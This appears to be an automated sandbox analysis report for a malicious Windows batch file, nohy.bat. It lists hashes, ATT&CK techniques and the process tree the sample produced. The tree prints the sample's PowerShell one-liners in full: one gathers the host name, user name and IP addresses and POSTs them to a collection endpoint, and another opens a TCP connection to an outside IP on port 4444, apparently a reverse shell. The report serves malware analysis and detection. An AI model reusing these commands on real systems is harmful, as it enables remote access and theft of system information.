d7a5a6d1d807bd632a41785761148a723399c62c824052bab31407f829e1ed49

Analysis

user interaction
yes
max time kernel
150s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 00:09

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General

Target
nohy.bat
Size 980B
Sample260803-afrfrahl5w
SHA256 d7a5a6d1d807bd632a41785761148a723399c62c824052bab31407f829e1ed49
MD5 547f94757832efeb8d67769e9c965932
SHA1 07b9cb263ea39ea8012c8c677381f68d407283b6
SHA512 a57ac9eb7fd7dfac6fbcf18ca4124a8181d42d2cc661eff8e33eb41703d1b0698069e84816ecff5ffd55798594983d7c110e50b313fd4b85db6fab2022d810b4
TLSH
T1BD1188B1B203EA5F8DCA89F7D040DD44FA3B0A0519246EE173C4D9DD88A1AD4A0A42F5
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4136	powershell.exe
4568	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4980	cmd.exe
500	cmd.exe
5016	cmd.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3348	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4136	powershell.exe
4136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5016 wrote to memory of 4980	5016	cmd.exe	90
PID 4980 wrote to memory of 3348	4980	cmd.exe	91
PID 4980 wrote to memory of 4476	4980	cmd.exe	92
PID 5016 wrote to memory of 4136	5016	cmd.exe	93
PID 5016 wrote to memory of 500	5016	cmd.exe	94
PID 500 wrote to memory of 4568	500	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nohy.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ipconfig|findstr /i "IPv4"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\ipconfig.exe
    ipconfig
    3⤵
    - Gathers network information
    PID:3348
- - C:\Windows\system32\findstr.exe
    findstr /i "IPv4"
    3⤵
    PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try{$p=(Invoke-WebRequest 'https://api.ipify.org' -UseBasicParsing).Content}catch{$p='N/A'};$inf='PC: '+$env:COMPUTERNAME+' User: '+$env:USERNAME+' IP: '+'10.127.0.21'+' Public: '+$p;$d=[Text.Encoding]::UTF8.GetBytes('text='+[Uri]::EscapeDataString($inf));$r=[Net.WebRequest]::Create('http://127.0.0.1:5000/grab');$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$d.Length;$r.GetRequestStream().Write($d,0,$d.Length);$r.GetResponse()|Out-Null}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\system32\cmd.exe
  cmd /c "powershell -Command ""try{$c=New-Object Net.Sockets.TCPClient('78.45.187.45',4444);$s=$c.GetStream();[byte[]]$b=0..65535|:ASCII).GetBytes($r+'> '),0,$r.Length+2);$s.Flush()};$c.Close()}catch{}"""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command ""try{$c=New-Object Net.Sockets.TCPClient('78.45.187.45',4444);$s=$c.GetStream();[byte[]]$b=0..65535
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4136-0-0x00007FF8BD79F000-0x00007FF8BD7A0000-memory.dmp

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memory/4136-1-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-2-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-3-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-7-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-6-0x00000244FBAE0000-0x00000244FBB02000-memory.dmp

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memory/4136-8-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-9-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-10-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-13-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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memory/4136-12-0x00007FF8BD610000-0x00007FF8BDFB4000-memory.dmp

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